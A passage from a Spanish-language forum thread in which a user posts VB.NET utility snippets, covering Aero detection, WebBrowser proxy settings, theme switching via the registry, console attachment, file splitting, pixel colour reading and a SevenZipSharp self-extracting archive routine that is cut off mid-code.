  1. #Region " Is Aero Enabled? "
  2.  
  3.    ' [ Is Aero Enabled? Function ]
  4.    '
  5.    ' Examples:
  6.    ' MsgBox(Is_Aero_Enabled)
  7.  
  8.    <System.Runtime.InteropServices.DllImport("dwmapi.dll")> _
  9.    Private Shared Function DwmIsCompositionEnabled(ByRef enabled As Boolean) As Integer
  10.    End Function
  11.  
  12.    Public Function Is_Aero_Enabled() As Boolean
  13.        If Environment.OSVersion.Version.Major < 6 Then
  14.            Return False ' Windows version is under Windows Vista so not Aero.
  15.        Else
  16.            DwmIsCompositionEnabled(Is_Aero_Enabled)
  17.        End If
  18.    End Function
  19.  
  20. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Abril 2013, 06:02 am
· Usar un proxy en el WebBrowser:

Código
  1. #Region " Use Proxy "
  2.  
  3.    ' [ Use Proxy ]
  4.    '
  5.    ' Examples :
  6.    ' Use_Proxy("213.181.73.145:80")
  7.    ' WebBrowser1.Navigate("http://www.ipchicken.com/")
  8.  
  9.    <Runtime.InteropServices.DllImport("wininet.dll", SetLastError:=True)> _
  10.    Private Shared Function InternetSetOption(ByVal hInternet As IntPtr, ByVal dwOption As Integer, ByVal lpBuffer As IntPtr, ByVal lpdwBufferLength As Integer) As Boolean
  11.    End Function
  12.  
  13.    Public Structure Struct_INTERNET_PROXY_INFO
  14.        Public dwAccessType As Integer
  15.        Public proxy As IntPtr
  16.        Public proxyBypass As IntPtr
  17.    End Structure
  18.  
  19.    Private Sub Use_Proxy(ByVal strProxy As String)
  20.        Const INTERNET_OPTION_PROXY As Integer = 38
  21.        Const INTERNET_OPEN_TYPE_PROXY As Integer = 3
  22.  
  23.        Dim struct_IPI As Struct_INTERNET_PROXY_INFO
  24.  
  25.        struct_IPI.dwAccessType = INTERNET_OPEN_TYPE_PROXY
  26.        struct_IPI.proxy = Marshal.StringToHGlobalAnsi(strProxy)
  27.        struct_IPI.proxyBypass = Marshal.StringToHGlobalAnsi("local")
  28.  
  29.        Dim intptrStruct As IntPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(struct_IPI))
  30.  
  31.        Marshal.StructureToPtr(struct_IPI, intptrStruct, True)
  32.  
  33.        Dim iReturn As Boolean = InternetSetOption(IntPtr.Zero, INTERNET_OPTION_PROXY, intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI))
  34.    End Sub
  35.  
  36. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Abril 2013, 13:15 pm
[ListView] Restrict column resizing

Restringe cambiar de tamaño una columna.


Código
  1.    ' [ListView] Restrict column resizing
  2.  
  3.    Private Sub ListView1_ColumnWidthChanging(sender As Object, e As ColumnWidthChangingEventArgs) Handles ListView1.ColumnWidthChanging
  4.        e.Cancel = True
  5.        e.NewWidth = sender.Columns(e.ColumnIndex).Width
  6.    End Sub



Get Non-Client Area Width
Devuelve el tamaño del borde del área NO cliente de la aplicación.

Código
  1. #Region " Get Non-Client Area Width "
  2.  
  3.    ' [ Get Non-Client Area Width Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_NonClientArea_Width(Form1))
  9.    ' Me.Location = New Point((Form1.Location.X + (Form1.Width + Get_NonClientArea_Width(Form1))), Form1.Location.Y)
  10.  
  11.    Private Function Get_NonClientArea_Width(ByVal Form As Form) As Int32
  12.        Return (Form.Width - Form.ClientSize.Width)
  13.    End Function
  14.  
  15. #End Region


Extend Non Client Area
Extiende el área NO cliente al área cliente de la aplicación

Código
  1. #Region " Extend Non Client Area "
  2.  
  3.    ' [ Extend Non Client Area Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Extend_Non_Client_Area(Me.Handle, 50, 50, -0, 20)
  9.    ' MsgBox(Extend_Non_Client_Area(12345, -1, -1, -1, -1))
  10.  
  11.    <System.Runtime.InteropServices.DllImport("dwmapi.dll")> _
  12.    Private Shared Function DwmExtendFrameIntoClientArea(ByVal handle As IntPtr, ByRef Margins As MARGINS) As Integer
  13.    End Function
  14.  
  15.    <System.Runtime.InteropServices.StructLayout(System.Runtime.InteropServices.LayoutKind.Sequential)> _
  16.    Public Structure MARGINS
  17.        Public Left As Integer
  18.        Public Right As Integer
  19.        Public Up As Integer
  20.        Public Down As Integer
  21.    End Structure
  22.  
  23.    Private Function Extend_Non_Client_Area(ByVal Window_Handle As IntPtr, _
  24.                                        ByVal Left As Int32, _
  25.                                        ByVal Right As Int32, _
  26.                                        ByVal Up As Int32, _
  27.                                        ByVal Down As Int32) As Boolean
  28.        Try
  29.            Dim Margins As New MARGINS()
  30.            Margins.Left = Left
  31.            Margins.Right = Right
  32.            Margins.Up = Up
  33.            Margins.Down = Down
  34.            DwmExtendFrameIntoClientArea(Window_Handle, Margins)
  35.            Return True
  36.        Catch ex As Exception
  37.            'Return false
  38.            Throw New Exception(ex.Message)
  39.        End Try
  40.  
  41.    End Function
  42.  
  43. #End Region



Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Abril 2013, 13:19 pm
If Debug conditional

Código
  1. #If Debug Then
  2.  
  3. #Else
  4.  
  5. #End If



If Debugger IsAttached conditional
Ejemplo de una condicional de ejecución en Debug
Código
  1.        If Debugger.IsAttached Then
  2.  
  3.        Else
  4.  
  5.        End If



String Format
Ejemplo de un String Format

Código
  1. MsgBox(String.Format("{0}+{1} = {2}", "Uno", "Dos", "Tres"))



Get NT Version

Devuelve la versión NT de Windows

PD: He omitido Windows 3.51 para no complicar el código, pero a quien le importa eso, ¿No?

Código
  1. #Region " Get NT Version "
  2.  
  3.    ' [ Get NT Version Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_NT_Version())
  9.    ' If Get_NT_Version() < 6.0 Then MsgBox("This application only works with an Aero compatible windows version")
  10.  
  11.    Private Function Get_NT_Version() As Double
  12.  
  13.        Dim NT As Double = CDbl(Val(System.Environment.OSVersion.Version.ToString.Substring(0, 3)))
  14.  
  15.        ' INFO:
  16.        ' -----
  17.        ' 3.1 = Windows NT 3.1
  18.        ' 3.5 = Windows NT 3.5
  19.        ' 4.0 = Windows NT 4.0
  20.        ' 5.0 = Windows 2000
  21.        ' 5.1 = Windows XP / Windows Fundamentals for Legacy PCs
  22.        ' 5.2 = Windows XP 64 Bit / Windows server 2003 / Windows server 2003 R2 / Windows home Server
  23.        ' 6.0 = Windows VISTA / Windows server 2008
  24.        ' 6.1 = Windows 7 / Windows server 2008 R2
  25.        ' 6.2 = Windows 8 / Windows 8 Phone / Windows Server 2012
  26.  
  27.        Return NT
  28.  
  29.    End Function
  30.  
#End Region



Extract Icon
Devuelve el icono de un archivo

Código
  1. #Region " Extract Icon "
  2.  
  3.    ' [ Extract Icon Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Me.Icon = Extract_Icon("c:\windows\explorer.exe")
  8.    ' Dim MyIcon as System.Drawing.Icon = Extract_Icon("c:\Test.txt")
  9.  
  10.    Private Function Extract_Icon(ByVal File As String) As System.Drawing.Icon
  11.        If IO.File.Exists(File) Then
  12.            Try : Return System.Drawing.Icon.ExtractAssociatedIcon(File)
  13.            Catch ex As Exception
  14.                'MsgBox(ex.message)
  15.                Return Nothing
  16.            End Try
  17.        Else : Return Nothing
  18.        End If
  19.    End Function
  20.  
  21. #End Region

[OSVersionInfo] - Examples

Ejemplos de uso de OSVersionInfo

Se necesita esta class (o la dll): http://www.codeproject.com/Articles/73000/Getting-Operating-System-Version-Info-Even-for-Win

Código
  1.        MsgBox(OSVersionInfo.Name)
  2.        MsgBox(OSVersionInfo.Edition)
  3.        MsgBox(OSVersionInfo.ServicePack)
  4.        MsgBox(OSVersionInfo.VersionString)
  5.        MsgBox(OSVersionInfo.BuildVersion)
  6.        MsgBox(OSVersionInfo.OSBits.ToString)
  7.        MsgBox(OSVersionInfo.ProcessorBits.ToString)
  8.        MsgBox(OSVersionInfo.ProgramBits.ToString)



Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Abril 2013, 13:26 pm
Cambia el theme actual de Windows

Os aconsejo cambiar el theme de esta manera en lugar de usar la función SetWindowTheme porque dicha función no cambia el theme corréctamente (no cambia los colores personalizados).

Código
  1. #Region " Set Aero Theme "
  2.  
  3.    ' [ Set Aero Theme Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' Add a reference for "System.ServiceProcess"
  9.    '
  10.    ' Set_Aero_Theme("C:\Windows\Resources\Themes\aero\aero.msstyles")
  11.    ' Set_Aero_Theme("C:\Windows\Resources\Themes\Concave 7\Concave 7.msstyles")
  12.    ' Set_Aero_Theme("C:\Windows\Resources\Themes\Aero\Luna.msstyles", "Metallic", "NormalSize")
  13.  
  14.    Private Function Set_Aero_Theme(ByVal ThemeFile As String, _
  15.                                    Optional ByVal ColorName As String = "NormalColor", _
  16.                                    Optional ByVal SizeName As String = "NormalSize" _
  17.                                   ) As Boolean
  18.        Try
  19.            Using ThemeService As New ServiceProcess.ServiceController("Themes")
  20.                ThemeService.Stop()
  21.                ThemeService.WaitForStatus(1) ' Wait for Stopped
  22.  
  23.                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "LoadedBefore", "0", Microsoft.Win32.RegistryValueKind.String)
  24.                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "DllName", ThemeFile, Microsoft.Win32.RegistryValueKind.String)
  25.                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "ColorName", ColorName, Microsoft.Win32.RegistryValueKind.String)
  26.                My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ThemeManager", "SizeName", SizeName, Microsoft.Win32.RegistryValueKind.String)
  27.  
  28.                ThemeService.Start()
  29.                ThemeService.WaitForStatus(4) ' Wait for Running
  30.            End Using
  31.  
  32.        Catch ex As Exception
  33.            'MsgBox(ex.message)
  34.            Return False
  35.        End Try
  36.  
  37.        Return True
  38.    End Function
  39.  
  40. #End Region



Devuelve información del theme actual

PD: Yo solo he creado la función.

Código
  1. #Region " Get Current Aero Theme "
  2.  
  3.    ' [ Get Current Aero Theme Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(Get_Current_Aero_Theme(Theme_Info.Name))
  9.    ' MsgBox(Get_Current_Aero_Theme(Theme_Info.FullPath))
  10.  
  11.    Public Structure ThemeInfo
  12.        Private Declare Unicode Function GetCurrentThemeName _
  13.            Lib "uxtheme.dll" _
  14.        ( _
  15.            ByVal pszThemeFileName As String, _
  16.            ByVal dwMaxNameChars As Int32, _
  17.            ByVal pszColorBuff As String, _
  18.            ByVal cchMaxColorChars As Int32, _
  19.            ByVal pszSizeBuff As String, _
  20.            ByVal cchMaxSizeChars As Int32 _
  21.        ) As Int32
  22.  
  23.        Private Const S_OK As Int32 = &H0
  24.  
  25.        Private m_FileName As String
  26.        Private m_ColorSchemeName As String
  27.        Private m_SizeName As String
  28.  
  29.        Public Property FileName() As String
  30.            Get
  31.                Return m_FileName
  32.            End Get
  33.            Set(ByVal Value As String)
  34.                m_FileName = Value
  35.            End Set
  36.        End Property
  37.  
  38.        Public Property ColorSchemeName() As String
  39.            Get
  40.                Return m_ColorSchemeName
  41.            End Get
  42.            Set(ByVal Value As String)
  43.                m_ColorSchemeName = Value
  44.            End Set
  45.        End Property
  46.  
  47.        Public Property SizeName() As String
  48.            Get
  49.                Return m_SizeName
  50.            End Get
  51.            Set(ByVal Value As String)
  52.                m_SizeName = Value
  53.            End Set
  54.        End Property
  55.  
  56.        Public Overrides Function ToString() As String
  57.            Return _
  58.                "FileName={" & Me.FileName & _
  59.                "} ColorSchemeName={" & Me.ColorSchemeName & _
  60.                "} SizeName={" & Me.SizeName & "}"
  61.        End Function
  62.  
  63.        Public Shared ReadOnly Property CurrentTheme() As ThemeInfo
  64.            Get
  65.                Dim ti As New ThemeInfo()
  66.                Const BufferLength As Int32 = 256
  67.                ti.FileName = Strings.Space(BufferLength)
  68.                ti.ColorSchemeName = ti.FileName
  69.                ti.SizeName = ti.FileName
  70.                If _
  71.                    GetCurrentThemeName( _
  72.                        ti.FileName, _
  73.                        BufferLength, _
  74.                        ti.ColorSchemeName, _
  75.                        BufferLength, _
  76.                        ti.SizeName, _
  77.                        BufferLength _
  78.                    ) = S_OK _
  79.                Then
  80.                    ti.FileName = NullTrim(ti.FileName)
  81.                    ti.ColorSchemeName = NullTrim(ti.ColorSchemeName)
  82.                    ti.SizeName = NullTrim(ti.SizeName)
  83.                    Return ti
  84.                Else
  85.                    Const Message As String = _
  86.                        "An error occured when attempting to get theme info."
  87.                    Throw New Exception(Message)
  88.                End If
  89.            End Get
  90.        End Property
  91.  
  92.        Private Shared Function NullTrim(ByVal Text As String) As String
  93.            Return _
  94.                Strings.Left( _
  95.                    Text, _
  96.                    Strings.InStr(Text, ControlChars.NullChar) - 1 _
  97.                )
  98.        End Function
  99.    End Structure
  100.  
  101.    Public Enum Theme_Info
  102.        Name
  103.        FileName
  104.        FullPath
  105.        ColorScheme
  106.        Size
  107.    End Enum
  108.  
  109.    Private Function Get_Current_Aero_Theme(ByVal Info As Theme_Info) As String
  110.        Select Case Info
  111.            Case Theme_Info.Name : Return ThemeInfo.CurrentTheme.FileName.Split("\").Last.Split(".").First
  112.            Case Theme_Info.FileName : Return ThemeInfo.CurrentTheme.FileName.Split("\").Last
  113.            Case Theme_Info.FullPath : Return ThemeInfo.CurrentTheme.FileName
  114.            Case Theme_Info.ColorScheme : Return ThemeInfo.CurrentTheme.ColorSchemeName
  115.            Case Theme_Info.Size : Return ThemeInfo.CurrentTheme.SizeName
  116.            Case Else : Return Nothing
  117.        End Select
  118.    End Function
  119.  
  120. #End Region



Escribe texto a la CMD desde un proyecto Windowsforms

Código
  1.    Declare Function AttachConsole Lib "kernel32.dll" (ByVal dwProcessId As Int32) As Boolean
  2.    Declare Function FreeConsole Lib "kernel32.dll" () As Boolean
  3.  
  4.    AttachConsole(-1) ' Attach the console
  5.    System.Console.Writeline("I am writing from a WinForm to the console!")
  6.    FreeConsole() ' Desattach the console
  7.  
  8.  




Adjunta una nueva instancia de la CMD a la aplicación.

Código
  1.    Public Declare Function AllocConsole Lib "kernel32.dll" () As Boolean
  2.  
  3.    AllocConsole()
  4.    Console.WriteLine("this is my console!") : Threading.Thread.Sleep(5000)





Detecta si la aplicación se ejecutó desde la consola

Un ejemplo de uso? Pues por ejemplo el que yo le doy, si el usuario ejecuta la aplicación desde la consola entonces muestro una ayuda sobre la sintaxis y etc en la consola, de lo contrario obviamente no muestro nada.

Código
  1. #Region " App Is Launched From CMD? "
  2.  
  3.    ' [ App Is Launched From CMD? Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(App_Is_Launched_From_CMD)
  9.    ' If App_Is_Launched_From_CMD() Then Console.WriteLine("Help for this application: ...")
  10.  
  11.    Declare Function AttachConsole Lib "kernel32.dll" (ByVal dwProcessId As Int32) As Boolean
  12.    Declare Function FreeConsole Lib "kernel32.dll" () As Boolean
  13.  
  14.    Private Function App_Is_Launched_From_CMD() As Boolean
  15.        If AttachConsole(-1) Then
  16.            FreeConsole()
  17.            Return True
  18.        Else
  19.            Return False
  20.        End If
  21.    End Function
  22.  
  23. #End Region



Parte un archivo de texto en trozos especificando el tamaño.
PD: El code no es de mi propiedad pero lo he sacado de un código de C# y lo he retocado casi por completo para hacerlo más funcional, así que me doy los créditos.

Código
  1. #Region " Split File "
  2.  
  3.    ' [ Split File Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Split_File("C:\Test.txt", 10000, , True))
  9.    ' MsgBox(Split_File("C:\Test.txt", 10000, "Splitted"))
  10.  
  11.    Public Function Split_File(ByVal File As String, _
  12.                               ByVal ChunkSize As Long, _
  13.                               Optional ByVal OutputName As String = Nothing, _
  14.                               Optional ByVal Preserve_FileExtension As Boolean = True _
  15.                             ) As Boolean
  16.        Dim Index As Long
  17.        Dim OutputFile As String
  18.        Dim BaseName As String
  19.        Dim StartPosition As Long
  20.        Dim Buffer As Byte() = New Byte() {}
  21.        Dim InputFileStram As System.IO.FileStream
  22.        Dim OutputFileStram As System.IO.FileStream
  23.        Dim BinaryWriter As IO.BinaryWriter
  24.        Dim BinaryReader As IO.BinaryReader
  25.        Dim Fragments As Long
  26.        Dim RemainingBytes As Long
  27.        Dim Progress As Double
  28.        Dim Zeroes As String = ""
  29.  
  30.        Try
  31.            Dim FileInfo As New IO.FileInfo(File)
  32.            Dim Filename As String = FileInfo.FullName
  33.            Dim FileExtension As String = FileInfo.Extension
  34.            Dim outputpath As String = FileInfo.DirectoryName
  35.            Dim FileSize As Long = FileInfo.Length
  36.  
  37.            If OutputName IsNot Nothing Then : BaseName = OutputName
  38.            Else : BaseName = FileInfo.Name.Replace(FileInfo.Extension, "") : End If
  39.  
  40.            If Not IO.File.Exists(Filename) Then
  41.                MsgBox("File " & Filename & " doesn't exist")
  42.                Return False
  43.            End If
  44.  
  45.            If FileSize <= ChunkSize Then
  46.                MsgBox(Filename & " size(" & FileSize & ")  is less than the ChunkSize(" & ChunkSize & ")")
  47.                Return False
  48.            End If
  49.  
  50.            InputFileStram = New IO.FileStream(Filename, IO.FileMode.Open)
  51.            BinaryReader = New IO.BinaryReader(InputFileStram)
  52.            Fragments = Math.Floor(FileSize / ChunkSize)
  53.            For n As Integer = 1 To Fragments.ToString.Length : Zeroes += "0" : Next
  54.            Progress = 100 / Fragments
  55.            RemainingBytes = FileSize - (Fragments * ChunkSize)
  56.            If outputpath = "" Then outputpath = IO.Directory.GetParent(Filename).ToString
  57.            If Not IO.Directory.Exists(outputpath) Then IO.Directory.CreateDirectory(outputpath)
  58.            BinaryReader.BaseStream.Seek(0, IO.SeekOrigin.Begin)
  59.  
  60.            For Index = 1 To Fragments
  61.  
  62.                If Preserve_FileExtension Then : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes) & FileExtension
  63.                Else : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes)
  64.                End If
  65.  
  66.                ReDim Buffer(ChunkSize - 1)
  67.                BinaryReader.Read(Buffer, 0, ChunkSize)
  68.                StartPosition = BinaryReader.BaseStream.Seek(0, IO.SeekOrigin.Current)
  69.                If IO.File.Exists(OutputFile) Then IO.File.Delete(OutputFile)
  70.                OutputFileStram = New System.IO.FileStream(OutputFile, IO.FileMode.Create)
  71.                BinaryWriter = New IO.BinaryWriter(OutputFileStram)
  72.                BinaryWriter.Write(Buffer)
  73.                OutputFileStram.Flush()
  74.                BinaryWriter.Close()
  75.                OutputFileStram.Close()
  76.            Next
  77.  
  78.            If RemainingBytes > 0 Then
  79.  
  80.                If Preserve_FileExtension Then : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes) & FileExtension
  81.                Else : OutputFile = outputpath & "\" & BaseName & "." & Format(Index, Zeroes)
  82.                End If
  83.  
  84.                ReDim Buffer(RemainingBytes - 1)
  85.                BinaryReader.Read(Buffer, 0, RemainingBytes)
  86.                If IO.File.Exists(OutputFile) Then IO.File.Delete(OutputFile)
  87.                OutputFileStram = New System.IO.FileStream(OutputFile, IO.FileMode.Create)
  88.                BinaryWriter = New IO.BinaryWriter(OutputFileStram)
  89.                BinaryWriter.Write(Buffer)
  90.                OutputFileStram.Flush()
  91.                BinaryWriter.Close()
  92.                OutputFileStram.Close()
  93.            End If
  94.  
  95.            InputFileStram.Close()
  96.            BinaryReader.Close()
  97.            Return True
  98.  
  99.        Catch ex As Exception
  100.            MsgBox(ex.Message)
  101.            Return False
  102.        Finally
  103.            BinaryWriter = Nothing
  104.            OutputFileStram = Nothing
  105.            BinaryReader = Nothing
  106.            InputFileStram = Nothing
  107.        End Try
  108.  
  109.    End Function
  110.  
  111. #End Region



Parte un archivo de texto en trozos especificando el número de líneas por archivo.

Código
  1. #Region " Split TextFile By Number Of Lines "
  2.  
  3.    ' [ Split TextFile By Number Of Lines Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Split_TextFile_By_Number_Of_Lines("C:\Test.txt", 10000)
  9.    ' MsgBox(Split_TextFile_By_Number_Of_Lines("C:\Test.txt", 10))
  10.  
  11.    Private Function Split_TextFile_By_Number_Of_Lines(ByVal TextFile As String, ByVal NumberOfLines As Long) As Boolean
  12.        Try
  13.            Dim FileInfo As New IO.FileInfo(TextFile)
  14.  
  15.            If NumberOfLines > IO.File.ReadAllLines(TextFile).Length Then
  16.                ' MsgBox("Number of lines is greater than total file lines")
  17.                Return False
  18.            End If
  19.  
  20.            Using sr As New System.IO.StreamReader(TextFile)
  21.                Dim fileNumber As Integer = 0
  22.  
  23.                While Not sr.EndOfStream
  24.                    Dim count As Integer = 0
  25.  
  26.                    Using sw As New System.IO.StreamWriter(FileInfo.DirectoryName & "\" & FileInfo.Name.Replace(FileInfo.Extension, " " & System.Threading.Interlocked.Increment(fileNumber) & FileInfo.Extension))
  27.                        sw.AutoFlush = True
  28.                        While Not sr.EndOfStream AndAlso Not System.Threading.Interlocked.Increment(count) > NumberOfLines
  29.                            Application.DoEvents()
  30.                            sw.WriteLine(sr.ReadLine())
  31.                        End While
  32.                    End Using
  33.  
  34.                End While
  35.  
  36.            End Using
  37.            Return True
  38.        Catch ex As Exception
  39.            Throw New Exception(ex.Message)
  40.        End Try
  41.  
  42.    End Function
  43.  
  44. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 30 Abril 2013, 21:55 pm
Comprueba si es la primera ejecuciónd e la aplicación.

PD: La condicional no está mal, es para permitir cambiar manuálmente el valor de la clave a "True" para testear y esas cosas.

CORREGIDO
Código
  1. #Region " Is First Run? "
  2.  
  3.    ' [ Is First Run? Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(Is_First_Run)
  9.    ' If Is_First_Run() Then...
  10.  
  11.    Private Function Is_First_Run() As Boolean
  12.        Dim RegRoot As Microsoft.Win32.RegistryKey = Registry.CurrentUser
  13.        Dim RegKey As String = "Software\MyApplicationName"
  14.        Dim RegValue As String = "First Run"
  15.        Dim FirstRun As Boolean
  16.  
  17.        RegRoot.CreateSubKey(RegKey)
  18.        RegRoot.Close()
  19.  
  20.        Try : FirstRun = Convert.ToBoolean(My.Computer.Registry.GetValue(RegRoot.ToString & "\" & RegKey, RegValue, Microsoft.Win32.RegistryValueKind.String))
  21.        Catch : FirstRun = True
  22.        End Try
  23.  
  24.        If FirstRun Then
  25.            My.Computer.Registry.SetValue(RegRoot.ToString & "\" & RegKey, RegValue, "False", Microsoft.Win32.RegistryValueKind.String)
  26.            Return True
  27.        Else
  28.            Return False
  29.        End If
  30.  
  31.    End Function
  32.  
  33.    #End region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 2 Mayo 2013, 10:23 am
Elimina el contenido del portapapeles

Código
  1.  Private Sub Delete_Clipboard()
  2.         Clipboard.SetText(vbCr)
  3.   End Sub



Añade un texto de ayuda (una "pista") a un control.

Ya posteé la manera de hacer esto usando API pero prefiero esta forma para tener control sobre el "forecolor" del teXto.

Código
  1. #Region " Set Control Hint "
  2.  
  3.    ' //By Elektro H@cker
  4.  
  5.    Dim TextBox_Hint As String = "Type your RegEx here..."
  6.  
  7.    ' TextBox1 [Enter/Leave]
  8.    Private Sub TextBox1_Hint(sender As Object, e As EventArgs) Handles _
  9.    TextBox1.Enter, _
  10.    TextBox1.Leave
  11.  
  12.        If sender.Text = TextBox_Hint Then : sender.text = ""
  13.        ElseIf sender.Text = "" Then : sender.text = TextBox_Hint
  14.        End If
  15.  
  16.    End Sub
  17.  
  18. #End Region



Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Mayo 2013, 16:44 pm
Elimina el contenido del portapapeles:

Código
  1. Private Sub Delete_Clipboard()
  2.     Clipboard.SetText(vbCr)
  3. End Sub




Devuelve el color de un pixel en varios formatos:

CORREGIDO, si el valor era 0, el formato Hexadecimal devolvía un 0 de menos.

Código
  1. #Region " Get Pixel Color "
  2.  
  3.    ' [ Get Pixel Color Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Dim RGB As Color = Get_Pixel_Color(MousePosition.X, MousePosition.Y, ColorType.RGB)
  10.    ' MsgBox(Get_Pixel_Color(100, 100, ColorType.RGB).ToString)
  11.    ' MsgBox(Get_Pixel_Color(100, 100, ColorType.HEX))
  12.    ' MsgBox(Get_Pixel_Color(100, 100, ColorType.HTML))
  13.  
  14.    <System.Runtime.InteropServices.DllImport("user32.dll")> Shared Function GetDC(hwnd As IntPtr) As IntPtr
  15.    End Function
  16.  
  17.    <System.Runtime.InteropServices.DllImport("user32.dll")> Shared Function ReleaseDC(hwnd As IntPtr, hdc As IntPtr) As Int32
  18.    End Function
  19.  
  20.    <System.Runtime.InteropServices.DllImport("gdi32.dll")> Shared Function GetPixel(hdc As IntPtr, nXPos As Integer, nYPos As Integer) As UInteger
  21.    End Function
  22.  
  23.    Public Enum ColorType
  24.        RGB
  25.        HEX
  26.        HTML
  27.    End Enum
  28.  
  29.    Public Function Get_Pixel_Color(ByVal x As Int32, ByVal y As Int32, ByVal ColorType As ColorType)
  30.  
  31.        Dim hdc As IntPtr = GetDC(IntPtr.Zero)
  32.        Dim pixel As UInteger = GetPixel(hdc, x, y)
  33.        ReleaseDC(IntPtr.Zero, hdc)
  34.  
  35.        Dim RGB As Color = Color.FromArgb(CType((pixel And &HFF), Integer), CType((pixel And &HFF00), Integer) >> 8, CType((pixel And &HFF0000), Integer) >> 16)
  36.        Dim R As Int16 = RGB.R, G As Int16 = RGB.G, B As Int16 = RGB.B
  37.        Dim HEX_R As String, HEX_G As String, HEX_B As String
  38.  
  39.        Select Case ColorType
  40.            Case ColorType.RGB : Return RGB
  41.            Case ColorType.HEX
  42.                If Hex(R) = Hex(0) Then HEX_R = "00" Else HEX_R = Hex(R)
  43.                If Hex(G) = Hex(0) Then HEX_G = "00" Else HEX_G = Hex(G)
  44.                If Hex(B) = Hex(0) Then HEX_B = "00" Else HEX_B = Hex(B)
  45.                Return (HEX_R & HEX_G & HEX_B)
  46.            Case ColorType.HTML : Return ColorTranslator.ToHtml(RGB)
  47.            Case Else : Return Nothing
  48.        End Select
  49.  
  50.    End Function
  51.  
  52. #End Region




Crear un archivo comprimido autoextraible (SFX) con la librería SevenZipSharp:

Código
  1. #Region " SevenZipSharp Compress SFX "
  2.  
  3.    ' [ SevenZipSharp Compress SFX Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' 1. Add a reference to "SevenZipSharp.dll".
  9.    ' 2. Add the "7z.dll" or "7z64.dll" files to the project.
  10.    ' 3. Add the "7z.sfx" and "7zCon.sfx" files to the project.
  11.    ' 4. Use the code below.
  12.    '
  13.    ' Examples :
  14.    ' SevenZipSharp_Compress_SFX("C:\File.txt")                           ' File will be compressed in the same dir.
  15.    ' SevenZipSharp_Compress_SFX("C:\File.txt", "C:\Compressed\File.exe") ' File will be compressed in "C:\Compressed\".
  16.    ' SevenZipSharp_Compress_SFX("C:\Folder\", , , , , , , "Password")    ' Folder will be compressed with the given password.
  17.    ' SevenZipSharp_Compress_SFX("C:\File.txt", , SevenZipSharp_SFX_Module.Console, CompressionLevel.Fast)
  18.  
  19.    ' Imports SevenZip
  20.    ' Dim dll As String = "7z.dll"
  21.  
  22.    Public Enum SevenZipSharp_SFX_Module
  23.        Normal
  24.        Console
  25.    End Enum
  26.  
  27.    Private Function SevenZipSharp_Compress_SFX(ByVal Input_DirOrFile As String, _
  28.                                       Optional ByVal OutputFileName As String = Nothing, _
  29.                                       Optional ByVal SFX_Module As SevenZipSharp_SFX_Module = SevenZipSharp_SFX_Module.Normal, _
  30.                                       Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _
  31.                                       Optional ByVal Password As String = Nothing) As Boolean
  32.        ' Create the .7z file
  33.        Try
  34.            ' Set library path
  35.            SevenZipCompressor.SetLibraryPath(dll)
  36.  
  37.            ' Create compressor
  38.            Dim Compressor As SevenZipCompressor = New SevenZipCompressor()
  39.  
  40.            ' Set compression parameters
  41.            Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
  42.            Compressor.CompressionMethod = CompressionMethod.Lzma ' Compression Method
  43.            Compressor.ArchiveFormat = OutArchiveFormat.SevenZip ' Compression file format
  44.            Compressor.CompressionMode = CompressionMode.Create ' Append files to compressed file or overwrite the compressed file.
  45.            Compressor.DirectoryStructure = True ' Preserve the directory structure.
  46.            Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives.
  47.            Compressor.ScanOnlyWritable = False ' Compress files only open for writing.
  48.            Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers
  49.            Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path
  50.            Compressor.FastCompression = False ' Compress as fast as possible, without calling events.
  51.            Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory.
  52.            Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives.
